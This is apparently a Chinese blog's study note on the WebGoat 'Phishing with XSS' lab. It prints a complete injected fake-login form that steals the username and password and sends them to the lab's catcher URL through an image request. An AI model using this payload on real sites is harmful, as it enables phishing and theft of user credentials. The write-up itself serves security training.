WebGoat学习笔记（四）——Phishing with XSS

最新推荐文章于 2025-09-07 16:54:49 发布

原创最新推荐文章于 2025-09-07 16:54:49 发布 · 1.7k 阅读

0 ·

本内容遵循CC 4.0 BY-SA版权协议

收录于

Web渗透

当前文章被收录于：

Web渗透

18 篇文章 0 人学习

订阅专栏查看详情

当前文章被以下社区和专栏收录：

本文提供了一个具体的XSS(跨站脚本)攻击代码示例，展示了如何通过恶意脚本窃取用户的登录凭据，并发送到攻击者的服务器。文中强调了在实际环境中这种攻击的危害性及其实现方式。

最后能够成功的搜索代码为：

<form><br/><br/><HR><H3>This feature requires account login:</H3><br/><br/>Enter Username:<br/><input type="text" id="user" name="user"><br/>Enter Password:<br/><input type="password" name = "pass" id="pass"><br/><input type="submit" name="login" value="login" onclick="var user=document.getElementById('user');var pass=document.getElementById('pass');alert('Had this been a real attack... Your credentials were just stolen. User Name = ' + user.value + 'Password = ' + pass.value);var XSSImage=new Image; XSSImage.src='http://localhost:8080/webgoat/catcher?PROPERTY=yes&user='+ user.value + '&password=' + pass.value + '';"><br/><br/><HR></form>

注意单引号和多引号的使用，以及跟本地配置相关的正确的提交地址。此为原理性描述，显然不具备实际危害。实际的攻击过程中，采用恶意链接的可能性比较大。

标签

#credentials #login #user #image